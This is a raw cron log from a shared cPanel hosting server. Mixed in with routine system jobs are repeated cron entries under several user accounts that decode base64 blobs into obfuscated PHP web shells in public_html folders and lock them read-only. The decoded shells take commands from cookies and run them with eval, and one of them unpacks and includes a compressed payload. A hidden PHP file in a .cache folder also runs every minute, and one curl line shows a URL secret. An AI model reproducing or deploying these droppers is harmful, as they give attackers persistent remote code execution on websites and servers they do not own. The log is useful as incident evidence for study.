Apr 19 05:13:02 medusa CROND[24191]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:13:02 medusa CROND[24196]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:13:02 medusa CROND[24197]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:13:02 medusa CROND[24199]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:13:02 medusa CROND[24195]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:13:02 medusa CROND[24203]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:14:01 medusa CROND[15961]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:14:01 medusa CROND[15977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:14:01 medusa CROND[16040]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:14:01 medusa CROND[16079]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:14:01 medusa CROND[16087]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:14:01 medusa CROND[16088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:14:01 medusa CROND[16089]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:14:01 medusa CROND[16090]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:14:01 medusa CROND[16091]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:14:01 medusa CROND[16092]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:14:01 medusa CROND[16098]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:14:01 medusa CROND[16099]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:14:01 medusa CROND[16078]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:15:01 medusa CROND[8859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:15:01 medusa CROND[8861]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:15:02 medusa CROND[8938]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:15:02 medusa CROND[8960]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:15:02 medusa CROND[8959]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:15:02 medusa CROND[8961]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:15:02 medusa CROND[8962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:15:02 medusa CROND[8963]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:15:02 medusa CROND[8965]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:15:02 medusa CROND[8964]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:15:02 medusa CROND[8970]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:15:02 medusa CROND[8968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:15:02 medusa CROND[8966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:15:02 medusa CROND[8974]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:15:02 medusa CROND[8975]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:15:02 medusa CROND[8977]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:15:02 medusa CROND[8985]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:15:02 medusa CROND[8986]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
